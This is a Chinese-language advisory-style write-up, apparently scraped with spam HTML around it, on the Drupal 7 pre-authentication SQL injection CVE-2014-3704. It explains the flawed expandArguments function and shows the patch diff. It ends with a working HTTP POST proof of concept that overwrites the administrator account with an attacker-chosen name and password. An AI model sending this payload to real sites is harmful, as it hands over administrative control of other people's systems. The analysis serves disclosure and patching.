<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/3197

            0x00 背景


            影響版本:7.0 到 7.31
            危害:非登錄狀態SQL注入,可造成代碼執行。
            風險:高危
            廠商狀態:Drupal的7.32修復此漏洞
            CVE:CVE-2014-3704
            

            0x01 細節


            Drupal在所有的SQL查詢語句當中都是用的預編譯來處理。

            為了處理IN語句,有一個expandArguments函數來展開數組。

            #!php
             protected function expandArguments(&$query, &$args) {
              $modified = FALSE;
            
              // If the placeholder value to insert is an array, assume that we need
              // to expand it out into a comma-delimited set of placeholders.
              foreach (array_filter($args, 'is_array') as $key => $data) {
                $new_keys = array();
                foreach ($data as $i => $value) {
                  // This assumes that there are no other placeholders that use the same
                  // name.  For example, if the array placeholder is defined as :example
                  // and there is already an :example_2 placeholder, this will generate
                  // a duplicate key.  We do not account for that as the calling code
                  // is already broken if that happens.
                  $new_keys[$key . '_' . $i] = $value;
                }
            
                // Update the query with the new placeholders.
                // preg_replace is necessary to ensure the replacement does not affect
                // placeholders that start with the same exact text. For example, if the
                // query contains the placeholders :foo and :foobar, and :foo has an
                // array of values, using str_replace would affect both placeholders,
                // but using the following preg_replace would only affect :foo because
                // it is followed by a non-word character.
                $query = preg_replace('#' . $key . 'b#', implode(', ', array_keys($new_keys)), $query);
            
                // Update the args array with the new placeholders.
                unset($args[$key]);
                $args += $new_keys;
            
                $modified = TRUE;
              }
            
              return $modified;
            }
            

            該函數假定它被調用時是沒有key的。例如:

            db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2'))); 
            

            執行的SQL語句為:

            SELECT * from users where name IN (:name_0, :name_1) 
            

            通過參數傳入name_0= user1,name_1=user2。

            那么問題來了,如果帶入數組當中有key并且不是整數呢。例如:

            db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));
            

            執行SQL語句為:

            SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1
            

            參數:name_test=user2。

            由于Drupal使用PDO,因此可以多語句查詢。所以這個SQL注入向數據庫里插入任意數據,下載或者修改存在的數據,甚至drop掉整個數據庫。

            攻擊者可以通過向數據庫里插入任意的數據,利用Drupal的特性執行PHP代碼。

            0x02 修復方案


            #!diff
            diff --git a/includes/database/database.inc b/includes/database/database.inc
            index f78098b..01b6385 100644
            --- a/includes/database/database.inc
            +++ b/includes/database/database.inc
            @@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
                 // to expand it out into a comma-delimited set of placeholders.
                 foreach (array_filter($args, 'is_array') as $key => $data) {
                   $new_keys = array();
            -      foreach ($data as $i => $value) {
            +      foreach (array_values($data) as $i => $value) {
                     // This assumes that there are no other placeholders that use the same
                     // name.  For example, if the array placeholder is defined as :example
                     // and there is already an :example_2 placeholder, this will generate
            

            0x03 POC


            有人在pastebin上放出了把原來id為1的管理,替換成名字為owned,密碼是thanks的管理員。

            POST /drupal-7.31/?q=node&destination=node HTTP/1.1
            Host: 127.0.0.1
            User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
            Accept-Language: en-US,en;q=0.5
            Accept-Encoding: gzip, deflate
            Referer: http://127.0.0.1/drupal-7.31/
            Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1
            Connection: keep-alive
            Content-Type: application/x-www-form-urlencoded
            Content-Length: 231
            
            name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in
            

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线